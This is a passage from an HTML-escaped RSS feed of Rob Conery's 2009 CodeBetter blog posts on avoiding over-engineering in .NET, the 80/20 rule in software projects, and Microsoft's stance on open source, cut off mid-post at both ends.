I’ll need Service classes to handle specialized domain logic as well. I’ve built this application many, many times before – I know what’s out there. Yes – YAGNI and all but in terms of structure, there is arm-waving&amp;#160;&amp;#160; and then there’s reality. These things I know. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;What I ended up doing was:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Moving to SubSonic. I know it like the back of my hand and the SimpleRepository fit the bill nicely. I was also able to add some cool features in (which I’ll talk about later). DB4O is great, but if I’m really in a hurry then I need to stick with what I can make sing. &lt;/li&gt;    &lt;li&gt;Stopping everything and specc’ing (how the hell do you spell that word?) out every last element of what I was building while thinking it through from end to end. &lt;/li&gt;    &lt;li&gt;Write code *only* when you have a mandate to do so. Yah I’m a smart guy and yes, I can juggle things in my head – I’ve been doing this for a long time.&lt;strong&gt; I was wrong, however, when I started to assume.&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;Stopped worrying about domain names and CSS and didn’t look at the web app for the rest of the day. &lt;/li&gt; &lt;/ol&gt;  &lt;h4&gt;The Score Card&lt;/h4&gt;  &lt;p&gt;For those of you who don’t think “qualitatively” – here’s the breakdown on lost time:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;I had a 40% loss on rewriting existing tests &lt;/li&gt;    &lt;li&gt;a 25% loss on refactoring things the way they should have been done in the first place (using Services, View Models, etc) &lt;/li&gt;    &lt;li&gt;a 40% loss on removing DB4O and going with SubSonic. Caveat: I didn’t *need* to do this but I had a gut feeling. &lt;/li&gt;    &lt;li&gt;a 30% loss on restructuring my repository to be less DB4O-specific (using Add/Update methods, removing Flush/Commit). This was dumb. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Overall&lt;strong&gt; I would have been 1/3 ahead&lt;/strong&gt; had I “done things right” – or more appropriately I would have finished in 2/3 of the time. That’s a lot of time!&lt;/p&gt;  &lt;h4&gt;Summary&lt;/h4&gt;  &lt;p&gt;The only reason I got so derailed is because I have a major stake in this thing’s outcome. I can forgive myself – just this once – for getting carried away and I’m happy that the damage wasn’t too great.&lt;/p&gt;  &lt;p&gt;Bad Rob is happy that the app works and it’s lighter and more nimble than before. Good Rob is happy because his assumptions are covered and he can see the light at the end of the tunnel.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=332644" width="1" height="1"&gt;</description></item><item><title>You’re Not Your Data Access</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/06/11/you-re-not-your-data-access.aspx</link><pubDate>Fri, 12 Jun 2009 03:50:33 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:248446</guid><dc:creator>robconery</dc:creator><slash:comments>37</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=248446</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/06/11/you-re-not-your-data-access.aspx#comments</comments><description>&lt;p&gt;Seems I touched off a bit of a “swirl” with a comment I made on my last blog post:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;I think, in general, the .NET crowd overthinks and over-engineers just about everything&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;I said as much in my MIX presentation, where I basically challenged ASP.NET developers to &lt;a href="http://videos.visitmix.com/MIX09/T62F"&gt;“embrace their inner scripter” and stop building rockets&lt;/a&gt;. I have a fairly strong opinion on this – and I’ll save that for another time – but I think it’s high time to remind folks that there’s a lot more to an application then how you get your app gets it’s freak on with your database.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Good Morning!      &lt;br /&gt;&lt;/strong&gt;I remember watching Fight Club for the very first time back in the thick of the very first DotCom bubble. I was feeling pretty ill that day so I stayed home and watched the DVD, and was pulled in pretty dramatically. One line still resonates with me:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;You&amp;#39;re not your job. You&amp;#39;re not how much money you have in the bank. You&amp;#39;re not the car you drive. You&amp;#39;re not the contents of your wallet. You&amp;#39;re not your f******* khakis.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;I feel the same way about building software: &lt;strong&gt;You’re Not Your Data Access.&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;When I watched that movie I had just bought a nice pair of $180 Kenneth Cole shoes to wear to a client’s VC meeting, to go with my groovy business-casual Cornflower Blue button down shirt. I clearly remember looking over at my closet – the feeling of fashion sobriety coming over me – wondering what I had turned into (if you knew me then you’d know I don’t like wearing that kind of stuff. I’m happy in a white t-shirt and shorts).&lt;/p&gt;  &lt;p&gt;I had this same feeling when I popped my head out of the .NET community just 4 years ago (before I worked at Microsoft) to see what this “Rails thing” was all about. I remember the feeling well – and it was very, very sobering and inspiring at the same time. I remember creating an application in fairly short order with all the requisite pieces put where they needed to be put, with every tutorial urging me to “stop thinking – just build”. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Camaro Programming      &lt;br /&gt;&lt;/strong&gt;The .NET platform is pretty dang powerful. It lets you build your own personal Tower of Babel if you so choose, and it can abstract away the very fabric of space-time if you let it. In short it’s a killer set of tools that any mechanically-inclined &lt;a href="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/towerofbable_5F00_458B62B9.jpg"&gt;&lt;img title="tower-of-bable" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin-left:0px;margin-right:0px;border-right-width:0px;" height="239" alt="tower-of-bable" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/towerofbable_5F00_thumb_5F00_081AFE32.jpg" width="299" align="right" border="0" /&gt;&lt;/a&gt;person would love to use. So naturally it can be very easily abused!&lt;/p&gt;  &lt;p&gt;Consider my good friend Eric. &lt;a href="http://blog.wekeroad.com/subsonic/in-which-we-discuss-digital-gearheads-and-geek-mastery/"&gt;I’ve written about Eric a few times before&lt;/a&gt; – but in summary he’s my token wrench-head friend that loves his engines and American cars. I lived with this guy for years and he rapidly&amp;#160; filled up our garage with parts and *crap* from every car he’d ever owned. And he could dutifully tell you which part went to which car and what that part did – no matter if it was useless.&lt;/p&gt;  &lt;p&gt;Eric built and maintained a hunk of junk 1968 Capri which we used to call “The Crappy”. This thing could drive – &lt;em&gt;and I mean really drive&lt;/em&gt; – I think Eric pushed it to 180 mph once on a closed race course. It had &lt;em&gt;that sound&lt;/em&gt; that all muscle cars make – the sound that makes your ribs shake and your inner 16 yr old say “coooooolll!”.&lt;/p&gt;  &lt;p&gt;The problem was that no one ever wanted to drive in it. It smelled, it was ugly, and it absolutely sucked the gas down. Eric would steadfastly defend his Crappy because “it was the easiest car in the world to work on” and “could blow doors on any production car from any country”.&lt;/p&gt;  &lt;p&gt;“Yah but when do you really need to go 180 miles an hour man?”&lt;/p&gt;  &lt;p&gt;“When I race dammit”&lt;/p&gt;  &lt;p&gt;I don’t need to draw the parallels here. I think you get it.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Let it Go Already      &lt;br /&gt;&lt;/strong&gt;I want to be perfectly clear about what it is I’m saying here, and that is that it’s very, very easy for the geek inside us to whisper sweetly in our ears, saying “this Super Massive Paradigm Shifter will be the biggest application EVAR… don’t mess it up!”. I felt this very sensation when starting … well every app that I ever made.&lt;/p&gt;  &lt;p&gt;I don’t like being wrong – no one does. So defensively I’ll be sure to include patterning where I can, making sure to separate out my projects whenever it … seems like I’ll crap for not separating out what I’m doing into another project. &lt;/p&gt;  &lt;p&gt;I’ll use &lt;a href="http://twitter.com/kevindente/statuses/2121170805"&gt;enums instead of boolean parameters&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Oh wait, &lt;a href="http://devpinoy.org/blogs/cruizer/archive/2007/09/12/enums-are-evil.aspx"&gt;no I won’t&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;I’ll be sure to &lt;a href="http://blogs.msdn.com/scottdensmore/archive/2004/05/25/140827.aspx"&gt;avoid Singletons&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;I’ll absolutely &lt;a href="http://weblogs.asp.net/fbouma/archive/2003/11/18/38178.aspx"&gt;never use Stored Procedures&lt;/a&gt;, I mean seriously &lt;a href="http://weblogs.asp.net/bsimser/archive/2004/09/05/225808.aspx"&gt;never&lt;/a&gt;, &lt;a href="http://codebetter.com/blogs/jeremy.miller/archive/2005/07/05/130093.aspx"&gt;ever&lt;/a&gt;, &lt;a href="http://c2.com/cgi/wiki?StoredProceduresAreEvil"&gt;ever&lt;/a&gt; (unless &lt;a href="http://weblogs.asp.net/rhoward/archive/2003/11/17/38095.aspx"&gt;Rob Howard tells me to&lt;/a&gt;). Or maybe unless &lt;a href="http://msdn.microsoft.com/en-us/library/ms978510.aspx"&gt;my boss tells me to&lt;/a&gt;. I’ll &lt;a href="http://www.codinghorror.com/blog/archives/000117.html"&gt;let Jeff decide&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;I’ll &lt;a href="http://sqlblog.com/blogs/paul_nielsen/archive/2009/05/09/why-use-stored-procedures.aspx"&gt;always use Stored Procedures&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;I &lt;a href="http://aspadvice.com/blogs/azamsharp/archive/2007/10/04/My-Thoughts-on-NHibernate.aspx"&gt;won’t use NHibernate&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;I won’t use &lt;a href="http://www.tonymarston.net/php-mysql/object-relational-mappers-are-evil.html"&gt;any ORM for that matter&lt;/a&gt;. Seriously - &lt;a href="http://blogs.tedneward.com/2006/06/26/The+Vietnam+Of+Computer+Science.aspx"&gt;Never&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Well &lt;a href="http://blairbryant.wordpress.com/2007/04/11/orm-isnt-an-excuse-for-not-using-stored-procedures/"&gt;I might use both&lt;/a&gt;…&lt;/p&gt;  &lt;p&gt;I &lt;a href="http://www.ejlife.net/blogs/john/2006/08/16/1155746828758.html"&gt;won’t use Code-coverage&lt;/a&gt; to tell me anything. &lt;/p&gt;  &lt;p&gt;I’ll be sure to &lt;a href="http://codebetter.com/blogs/patricksmacchia/archive/2008/04/09/make-the-most-of-your-test-coverage-data.aspx"&gt;use Code-coverage&lt;/a&gt; data to tell me everything.&lt;/p&gt;  &lt;p&gt;I’ll make sure my &lt;a href="http://codebetter.com/blogs/jeremy.miller/archive/2007/09/21/wrestling-with-pure-evil.aspx"&gt;method and variables are named properly on Fridays&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Reflection? &lt;a href="http://devlicio.us/blogs/derik_whittaker/archive/2008/07/29/is-it-evil-to-use-reflection-when-testing.aspx"&gt;Not a chance&lt;/a&gt;. &lt;a href="http://www.west-wind.com/weblog/posts/351.aspx"&gt;Unless Rick says it’s OK&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;I &lt;a href="http://www.theserverside.com/news/thread.tss?thread_id=17635"&gt;won’t use Extreme Programming&lt;/a&gt; (I’ll be sure to use Lean… whatever that is)&lt;/p&gt;  &lt;p&gt;I’ll be sure &lt;a href="http://ericlefevre.net/wordpress/2009/06/02/is-scrum-evil-beyond-our-session-at-xp-day-paris/"&gt;not to have scrums&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;I’ll also be sure &lt;a href="http://www.stickyminds.com/sitewide.asp?Function=edetail&amp;amp;ObjectType=ART&amp;amp;ObjectId=14287"&gt;not to multi-task&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;I &lt;a href="http://ayende.com/Blog/archive/2008/08/22/JFHCI-The-evil-that-is-configuration.aspx"&gt;won’t use configuration either&lt;/a&gt; – hard-coding FTW!&lt;/p&gt;  &lt;p&gt;I won’t use &lt;a href="http://digg.com/programming/C_extension_methods_are_evil"&gt;static methods&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;I won’t use &lt;a href="http://www.aaron-powell.com/blog/january-2009/are-extensions-really-evil.aspx"&gt;extension methods&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;I’ll &lt;a href="http://www.codinghorror.com/blog/archives/000486.html"&gt;keep Native American stereotypes out of my code&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;I’ll make sure that all my methods are public and &lt;a href="http://ayende.com/Blog/archive/2008/04/03/Internals-are-Evil.aspx"&gt;never sealed or internal&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;I’ll check twice before I use any of &lt;a href="http://www.codethinked.com/post/2009/04/02/Ten-C-Keywords-That-You-Shouldne28099t-Be-Using.aspx"&gt;these evil keywords&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;I’ll also make double damn sure &lt;a href="http://weblogs.asp.net/bsimser/archive/2007/10/30/regions-evil.aspx"&gt;not to use regions in my code&lt;/a&gt; – ever.&lt;/p&gt;  &lt;p&gt;I &lt;a href="http://pbdj.sys-con.com/node/42545"&gt;won’t use VB&lt;/a&gt; (who would?) and I’ll be sure to &lt;a href="http://paskov.info/tags/c/"&gt;use C# with great c&lt;/a&gt;are.&lt;/p&gt;  &lt;p&gt;I &lt;a href="http://codebetter.com/blogs/jeremy.miller/archive/2007/02/01/Composite-keys-are-evil.aspx"&gt;won’t use Composite Keys&lt;/a&gt; in my database &lt;/p&gt;  &lt;p&gt;And I’ll be very, very sure to &lt;a href="http://friendfeed.com/bellware/846011d6/forces-of-good-and-evil-will-do-battle-in-norway"&gt;keep away from Norway&lt;/a&gt;.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;You wake up at Seatac, SFO, LAX. You wake up at O&amp;#39;Hare, Dallas-Fort Worth, BWI. Pacific, mountain, central. Lose an hour, gain an hour. This is your life, and it&amp;#39;s ending one minute at a time. You wake up at Air Harbor International. If you wake up at a different time, in a different place, could you wake up as a different person&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Let.&lt;/p&gt;  &lt;p&gt;It.&lt;/p&gt;  &lt;p&gt;Go.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;     &lt;br /&gt;Simplicity is beautiful. Simple doesn’t mean hard-coding, it doesn’t mean cutting corners or being sloppy – it means building what you’ve been asked to build, not a rocket to Saturn and most of the time it’s a skateboard to the corner store. &lt;/p&gt;  &lt;p&gt;Not every application needs to be stitched together from Codebetter posts and Twitter rants. Focus on what’s important – the experience, not what’s under the hood. You’ll change that quite a few times no matter what you think :).&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=248446" width="1" height="1"&gt;</description></item><item><title>Jumping The 20 Fence</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/05/21/jumping-the-20-fence.aspx</link><pubDate>Fri, 22 May 2009 07:44:00 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:233194</guid><dc:creator>robconery</dc:creator><slash:comments>5</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=233194</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/05/21/jumping-the-20-fence.aspx#comments</comments><description>&lt;p&gt;Before I worked at Microsoft I worked at/with/for various startups. Depending on who you talked to, I was involved in building rockets, the Next Big Thing, and a Super Whamadyne Paradigm-Shifter. Since I’m not a millionaire and you don’t see my face on Wired you can guess that those things didn’t quite pan out.&lt;/p&gt;  &lt;p&gt;There are a lot of reasons why projects don’t “pop” – but in some ways I think people can tell if they are “gazing wantonly in the pond’s reflection” by constantly asking a set of simple questions:&lt;/p&gt;  &lt;ul&gt;   &lt;ul&gt;     &lt;li&gt;&lt;em&gt;What are we doing?&lt;/em&gt; &lt;/li&gt;      &lt;li&gt;&lt;em&gt;Why are we doing it?&lt;/em&gt; &lt;/li&gt;      &lt;li&gt;&lt;em&gt;What do we hope to get out of it?&lt;/em&gt; &lt;/li&gt;   &lt;/ul&gt; &lt;/ul&gt;  &lt;p&gt;A lot of people would say “sure – that’s what ya call a Mission Statement Rob!” and in some ways, I spose it is. But the next part is the hardest:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;strong&gt;Does it motivate you?&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;strong&gt;The Hard Truth&lt;/strong&gt;     &lt;br /&gt;In every human endeavor the 80/20 rule (aka &lt;a href="http://en.wikipedia.org/wiki/Pareto_principle"&gt;Pareto principle&lt;/a&gt;) cruelly applies – which is effort/payoff are inversely related. This principle is at the core of the just about any time/management book/philosophy – and these things usually boil down to constantly shifting your focus to “what’s important” (aka the 20%). &lt;/p&gt;  &lt;p&gt;It seems the 80/20 thing is built in to the fabric of the universe, along with &lt;a href="http://blog.wekeroad.com/blog/phi-ling-up-your-ui/"&gt;some other groovy numbers&lt;/a&gt;. Most large software companies have come to realize this – &lt;a href="http://www.crn.com/security/18821726;jsessionid=MWSGIQAD1ZI0SQSNDLRSKH0CJUNN2JVN"&gt;including Microsoft&lt;/a&gt;:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;&amp;quot;One really exciting thing we learned is how … a relatively small proportion [of bugs] causes most of the errors,&amp;quot; Ballmer wrote in his three-page memo. &amp;quot;About 20 percent of the bugs causes 80 percent of all errors, and--this is stunning to me--1 percent of bugs caused half of all errors.&amp;quot;&lt;/em&gt; &lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;If we apply logic here then the opposite of this statement must be true as well:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;strong&gt;80 percent of the bug-free functionality is produced by 20% of the code.&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;If that’s true – we’re writing way too much crappy code. Let me reword that – 80% of the code we write does 20% of the work and contains the bulk of the bugs (my math skills got lost there). Which side of the 80/20 code pool are you swimming in?&lt;a href="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/8020rulecoopsmanhattanrealestate1_5F00_3D1C0719.jpg"&gt;&lt;img title="80-20-rule-coops-manhattan-real-estate[1]" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin-left:0px;margin-right:0px;border-right-width:0px;" height="183" alt="80-20-rule-coops-manhattan-real-estate[1]" src="http://codebetter.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/rob.conery/8020rulecoopsmanhattanrealestate1_5F00_thumb_5F00_42F6AAB2.jpg" width="200" align="right" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Sherman, Set the Wayback Machine      &lt;br /&gt;&lt;/strong&gt;It’s 2000 and I’ve just ordered a tin of Pringles and The Fragile (Right and Left) from &lt;a href="http://en.wikipedia.org/wiki/Kozmo.com"&gt;Kozmo&lt;/a&gt;. It’s 11pm and I should be at home, but I’m hammering away on my client’s app, trying to get a demo ready for Yet Another VC Who Wants To See Stuff Spin. I’m cranky, tired, and my wife is getting tired of this constant circus of late nights.&lt;/p&gt;  &lt;p&gt;The phone rings as the speakers are blaring in our Live/Work Loft/Office on 2nd and Brannan and I’m listening to Trent growl his way through “The Wretched” and I see the area code – it’s New York. My client. Crap.&lt;/p&gt;  &lt;p&gt;After 10 minutes of telling him everything’s on pace, he recaps what he wants to see. Amazing – he added 4 new requirements! How very … like him.&lt;/p&gt;  &lt;p&gt;I ask him the question:&lt;/p&gt;  &lt;p&gt;“What are we doing again? I mean what’s your goal here anyway once all of these demos are done and you’re really rich.”&lt;/p&gt;  &lt;p&gt;I hear gasps on the other end of the phone, some choice swear words that involve an ice-pick and my retina, and then *click*.&lt;/p&gt;  &lt;p&gt;The phone rings 5 minutes later and it’s The Client. “Do you mind telling me just what the **** you’re asking me these questions for you ****in moron?”. I’m used to “the East Coast” thing by now and I reassure him I know his requirements – I understand the specs and priorities – we’ve been through it a ton. I know about the demo.&lt;/p&gt;  &lt;p&gt;I want to know about the day after the demo.&lt;/p&gt;  &lt;p&gt;His answer was simple: “We’ll be millionaires. Who gives a **** what else – we’ll be the next tech IPO and you can buy your wife a maserati so **** off and build my ******* app!” (the East Coast thing gets annoying at times – but you get used to it. Don’t get me wrong – I like the other side of the country and all, but they can get pretty spun up over there).&lt;/p&gt;  &lt;p&gt;We got the funding – a lot of it. And the company still managed to fail – I think it’s when investors figured out my client was full of crap. I should have figured it out too – but back then everyone was involved in an IPO or buyout. It was a “Craigslist Party” of geeks and power money and you just didn’t ask questions. Or so I thought.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;What’s Your Answer?      &lt;br /&gt;&lt;/strong&gt;Twice I’ve worked on a winning application – and it feels great. And by “winning” I mean the client and their clients were stoked, and it literally made people cry. One of my very first applications – an info portal for Ameritech (now PacBell) was one such application. It was so very, very simple that it had to work – it was a classic ASP app (I wrote this in 1998) that used IndexServer to crawl over 12,200 documents scraped from their mainframe.&lt;/p&gt;  &lt;p&gt;Their existing app was a terminal-based app and it was all paging and CTRL- shortcuts the user had to memorize. I made a web interface (we called it the “Yahoo UI”) that worked on fuzzy search and BAM – scraped 30 seconds off the average “satisfaction timer”. This meant the call center reps could answer people 30 seconds faster than before without the carpal-tunnel and by using the “new web thing”. I’m not kidding you – one of our User Acceptance participants (an actual rep) started to cry.&lt;/p&gt;  &lt;p&gt;If you asked me or any member of that team what we were doing we would have said the following (with minor variations):&lt;/p&gt;  &lt;ul&gt;   &lt;ul&gt;     &lt;li&gt;We’re building a web app to reduce the time to answer for call centers &lt;/li&gt;      &lt;li&gt;We’re doing it because our existing app sucks and it’s too hard to learn. Turnover is killing us. &lt;/li&gt;      &lt;li&gt;We hope to have happier call center folks and happier customers &lt;/li&gt;   &lt;/ul&gt; &lt;/ul&gt;  &lt;p&gt;These answers are all kinds of win because they’re grounded in something real: making a job easier/better/faster. They don’t involve greed and aren’t out to change the way the Earth spins – simple and direct and dare I say truthful.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Smelly Answers&lt;/strong&gt;     &lt;br /&gt;I’ve asked these questions various times over the years and aside from my client from hell above, I’ve received some real winners:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;“We’re going to be the Premier [WHATEVER] and direct all buyers of [X] to use our service and we’ll make wads of cash” &lt;/li&gt;    &lt;li&gt;“We’re going to Change the Game with this app, and in doing so make wads of cash” &lt;/li&gt;    &lt;li&gt;“We’re going to dominate the [BLAH BLAH] space – we’ll actually become the internet. We’ll make wads of cash” &lt;/li&gt;    &lt;li&gt;“Right now there’s a massive void out there and we’re going to fill it. We don’t know how we’re going to make money – but we’ll get there soon enough” &lt;/li&gt;    &lt;li&gt;“I don’t know really – I’ve been told to build this thing so I called you. I need a beer.” &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;People and technology are funny and scary at the same time. Sort of like clowns. When I tell people what I do they get a really weird look in their eye (you know the look I mean) and sometimes I don’t know if I’ll be “fixing their internet” or hearing their great new idea to make tons of money. I, evidently, am a bit like Willy Wonka:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;“&lt;em&gt;We are the music makers, and we are the dreamers of dreams”&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Mr. Wonka also offered a followup – which I hold to very tightly:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;“You should never doubt what no one is sure about”&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;If we agree, by now, that this 80/20 thing has some merit, then it stands to reason that there’s an 80% chance you’re working on a project with a smelly set of directives. You ended up here by the various laws of the universe that sprinkle geeks across projects like salt and pepper – but you don’t have to be the 80% tripe!&lt;/p&gt;  &lt;p&gt;You can change this: you can jump the 20% fence. You just have to help your team face the problem plaguing them – which is usually a weird direction that has to do with wads of cash, changing the game, or shifting some paradigm. &lt;/p&gt;  &lt;p&gt;Get their heads back in the game and make sure you’re kicking ass for humanity – and you can figure this out pretty quickly by asking some simple questions and listening for:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Delusions of grandeur &lt;/li&gt;    &lt;li&gt;“Wads of cash” &lt;/li&gt;    &lt;li&gt;“I don’t know yet” spoken 2 or more times &lt;/li&gt;    &lt;li&gt;The solution isn’t a win/win (you, client, end-user) &lt;/li&gt;    &lt;li&gt;Frustration at the question &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;If you don’t get concrete answers point to YouTube: a really dead-simple app that makes people really happy. Just like a puppy or a kitten – without the poop. Or Twitter – one of the silliest, most relevant applications ever made (that has yet to make a dime… but anyway).&lt;/p&gt;  &lt;p&gt;You can change things – you really can. As long as your team is willing to listen and engage and if they’re not, well maybe it’s time to look for the golden 20% out there.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://codebetter.com/aggbug.aspx?PostID=233194" width="1" height="1"&gt;</description><category domain="http://codebetter.com/blogs/rob.conery/archive/tags/Blather/default.aspx">Blather</category></item><item><title>What Should Microsoft Do For .NET Open Source?</title><link>http://codebetter.com/blogs/rob.conery/archive/2009/05/04/what-should-microsoft-do-for-net-open-source.aspx</link><pubDate>Mon, 04 May 2009 17:39:05 GMT</pubDate><guid isPermaLink="false">d21fbbc9-c112-4f32-ad14-95939a2c53d4:214066</guid><dc:creator>robconery</dc:creator><slash:comments>37</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://codebetter.com/blogs/rob.conery/rsscomments.aspx?PostID=214066</wfw:commentRss><comments>http://codebetter.com/blogs/rob.conery/archive/2009/05/04/what-should-microsoft-do-for-net-open-source.aspx#comments</comments><description>&lt;p&gt;I&amp;#39;ve been reading a lot of old blog posts tonight regarding Microsoft and Open Source - it really reminds me of the interesting stances the company has taken over the last 5 to 10 years (I&amp;#39;ve only been working with Microsoft for just about 2 years now). For instance - I read &lt;a href="http://scobleizer.com/2005/11/01/ross-doesnt-trust-microsofts-approach-to-web/"&gt;a post from Scoble&lt;/a&gt; that goes over why &amp;quot;Web 2.0 entrepreneurs&amp;quot; don&amp;#39;t trust the M$ Stack - and I must say, it&amp;#39;s a pretty interesting read and the points that Scoble raises are still felt pretty strongly:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;As I’ve been going around the world I’ve been meeting with many people who’ve built their companies on non-Microsoft stuff. Some of whom have companies worth billions of dollars now. Some of whom you’ve never heard about unless you read TechCrunch. &lt;strong&gt;Here’s 12 reasons Web 2.0 entrepreneurs like Ross tell me that they aren’t using Microsoft’s stuff&lt;/strong&gt;:&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;1) &lt;strong&gt;Startup costs.&lt;/strong&gt; Linux is free. Ruby on Rails is free. MySQL is free.         &lt;br /&gt;2) &lt;strong&gt;Performance per dollar.&lt;/strong&gt; They perceive that a Linux server running Apache has more performance than IIS running .NET.         &lt;br /&gt;3) &lt;strong&gt;Finding tech staff is easier.&lt;/strong&gt; There are a whole new raft of young, highly skilled people willing to work long hours at startups who can build sites using Ruby on Rails.         &lt;br /&gt;4) &lt;strong&gt;Perception of scalability.&lt;/strong&gt; The geeks who run these new businesses perceive that they can scale up their data centers with Linux and not with Windows (the old “Google runs on Linux” argument).         &lt;br /&gt;5) &lt;strong&gt;That Microsoft doesn’t care about small businesses. &lt;/strong&gt;After all, Microsoft is an evil borg, but Ruby on Rails comes from a single guy: David Heinemeier Hansson. &lt;a href="http://www.loudthinking.com/"&gt;He has a blog and answers questions fast&lt;/a&gt;.         &lt;br /&gt;6) &lt;strong&gt;That open source makes it easier to fix problems and/or build custom solutions.&lt;/strong&gt; A variant of the old “Google or Amazon couldn’t be built on Windows” argument.         &lt;br /&gt;7) &lt;strong&gt;On clients, they want to choose the highest-reach platforms.&lt;/strong&gt; That doesn’t mean a Windows app. Or even an app that runs only in IE. It must run on every variant of Linux and Macintosh too.         &lt;br /&gt;8) &lt;strong&gt;They don’t want to take shit from their friends (or, even, their Venture Capitalist).&lt;/strong&gt; Most of this is just pure cost-control. I can hear the conversation now: “OK, you wanna go with Windows as your platform, but is the extra feature worth the licensing fees for Windows?”         &lt;br /&gt;9) &lt;strong&gt;No lockin.&lt;/strong&gt; These new businesses don’t want to be locked into a specific vendor’s problems, er products. Why? Because that way they can’t shop for the best price among tools (or move to something else if the architecture changes).         &lt;br /&gt;10) &lt;strong&gt;More security.&lt;/strong&gt; The new businesses perceive Linux, Apache, Firefox, and other open source stuff to have higher security than stuff built on Windows.         &lt;br /&gt;11) &lt;strong&gt;More agility.&lt;/strong&gt; I’ve had entrepreneurs tell me they need to be able to buy a server and have it totally up and running in less than 30 minutes and that they say that Linux is better at that.         &lt;br /&gt;12) &lt;strong&gt;The working set is smaller.&lt;/strong&gt; Because Linux can be stripped down, the entrepreneurs are telling me that they can make their server-side stuff run faster and with less memory usage.&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;       &lt;br /&gt;&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;I&amp;#39;d love to know if these opinions have softened at all - or if they&amp;#39;ve been further reinforced - especially given the release of ASP.NET MVC (and it&amp;#39;s subsequent listing on Codeplex under Ms-PL). I&amp;#39;m going to guess that they&amp;#39;re roughly the same: people will believe what they&amp;#39;re going to believe and for some reason, when it comes to Microsoft, changing people&amp;#39;s minds is really hard.&lt;/p&gt;  &lt;p&gt;One thing that&amp;#39;s particularly interesting to me is that Microsoft, at least some divisions, are actively changing their &amp;quot;thinking&amp;quot; if you will to a more open posture. The Ms-PL of ASP.NET MVC (mentioned above), some of the work that Developer Division is doing with the Mono team, and the source availability of the entire .NET stack (yes, I know 